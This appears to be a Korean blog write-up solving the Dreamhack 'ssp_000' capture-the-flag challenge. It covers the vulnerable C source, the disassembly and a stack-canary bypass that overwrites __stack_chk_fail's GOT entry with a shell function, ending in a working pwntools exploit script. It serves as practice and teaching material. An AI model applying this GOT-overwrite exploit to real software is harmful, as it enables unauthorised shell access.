Hacking/Dremahack 문제풀이

[ Dreamhack ] ssp_000

미역줄기줄기 2024. 2. 24. 14:53
728x90

문제 & 보호기법

 

 

amd64 아키텍처 -> 카나리가 8바이트

NX enabled -> 셸 코드 사용 못함

 

 

 

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}
  • get shell 함수가 있으니 셸 코드를 사용할 필요 없다.
  • read 에서 오버플로우가 가능하겠다.
  • 카나리를 leak 할 수 있는 코드는 없다.....

 

 

디스어셈블을 해보자

Dump of assembler code for function main:
   0x00000000004008fb <+0>:	push   rbp
   0x00000000004008fc <+1>:	mov    rbp,rsp
   0x00000000004008ff <+4>:	sub    rsp,0x70
   0x0000000000400903 <+8>:	mov    DWORD PTR [rbp-0x64],edi
   0x0000000000400906 <+11>:	mov    QWORD PTR [rbp-0x70],rsi
   0x000000000040090a <+15>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400913 <+24>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400917 <+28>:	xor    eax,eax
   0x0000000000400919 <+30>:	lea    rdx,[rbp-0x50]
   0x000000000040091d <+34>:	mov    eax,0x0
   0x0000000000400922 <+39>:	mov    ecx,0x8
   0x0000000000400927 <+44>:	mov    rdi,rdx
   0x000000000040092a <+47>:	rep stos QWORD PTR es:[rdi],rax
   0x000000000040092d <+50>:	mov    eax,0x0
   0x0000000000400932 <+55>:	call   0x40088e <initialize>
   0x0000000000400937 <+60>:	lea    rax,[rbp-0x50]
   0x000000000040093b <+64>:	mov    edx,0x80
   0x0000000000400940 <+69>:	mov    rsi,rax
   0x0000000000400943 <+72>:	mov    edi,0x0
   0x0000000000400948 <+77>:	call   0x400710 <read@plt>
   0x000000000040094d <+82>:	mov    edi,0x400a55
   0x0000000000400952 <+87>:	mov    eax,0x0
   0x0000000000400957 <+92>:	call   0x4006f0 <printf@plt>
   0x000000000040095c <+97>:	lea    rax,[rbp-0x60]
   0x0000000000400960 <+101>:	mov    rsi,rax
   0x0000000000400963 <+104>:	mov    edi,0x400a5d
   0x0000000000400968 <+109>:	mov    eax,0x0
   0x000000000040096d <+114>:	call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400972 <+119>:	mov    edi,0x400a61
   0x0000000000400977 <+124>:	mov    eax,0x0
   0x000000000040097c <+129>:	call   0x4006f0 <printf@plt>
   0x0000000000400981 <+134>:	lea    rax,[rbp-0x58]
   0x0000000000400985 <+138>:	mov    rsi,rax
   0x0000000000400988 <+141>:	mov    edi,0x400a5d
   0x000000000040098d <+146>:	mov    eax,0x0
   0x0000000000400992 <+151>:	call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400997 <+156>:	mov    rax,QWORD PTR [rbp-0x60]
   0x000000000040099b <+160>:	mov    rdx,rax
   0x000000000040099e <+163>:	mov    rax,QWORD PTR [rbp-0x58]
   0x00000000004009a2 <+167>:	mov    QWORD PTR [rdx],rax
   0x00000000004009a5 <+170>:	mov    eax,0x0
   0x00000000004009aa <+175>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004009ae <+179>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004009b7 <+188>:	je     0x4009be <main+195>
   0x00000000004009b9 <+190>:	call   0x4006d0 <__stack_chk_fail@plt>
   0x00000000004009be <+195>:	leave  
   0x00000000004009bf <+196>:	ret    
End of assembler dump.
  • main+77: 사용자가 입력한 buf 내용은 rbp-0x50에 저장됨

 

스택 구조는..

이렇게 생겼다. 

 

 

 

카나리를 leak할 수 있는 부분이 없다. 그렇다면 카나리 변조를 해야한다!!

 

만약, buf-canary 부분까지 dummy로 채워버리면 canary가 기존의 TLS에 존재하는 값과 같은지 비교하는 부분에서 false가 반환될 것임(main+190의 __stack_chk_fail) -> 프로그램 강제 종료

canary를 변조하여 __stack_chk_fail이 호출될 때 해당 함수의 GOT 주소를 __stack_chk_fail이 아닌, get_shell 주소를 넣어준다면 우회할 수 있음

 

 

__stack_chk_fail@got을 어떻게 변조하는 법

💡 사용자로부터 addr 값을 받아 해당 주소에 사용자가 원하는 value를 넣어줄 수 있음
addr에 __stack_chk_fail의 GOT 주소를 넣어주고, value 값으로 get_shell 함수 주소를 넣어주면 변조할 수 있을 것!

 

 

 


Exploit code

from pwn import *

p = remote("host3.dreamhack.games", 17259)
e = ELF("./ssp_000")

get_shell = e.symbols['get_shell']
stack_chk_fail_got = e.got['__stack_chk_fail']

payload = b'A' * 0x50
p.sendline(payload)

print("[+] stack_chk_fail: ", hex(stack_chk_fail_got))

p.sendlineafter("Addr : ", str(stack_chk_fail_got))
p.sendlineafter("Value : ", str(get_shell))

p.interactive()

 

 


새로 안 사실

  • sendlineafter는 문자열을 입력으로 받는다. -> 정수나 다른 데이터 형식을 문자열로 변환
  • 그래서 exploit code에 str(~~~) 이렇게 되어있던 것.
  • 카나리 변조할 때 __stack_chk_fail 함수를 get_shell 함수로 GOT Overwrite​ 하기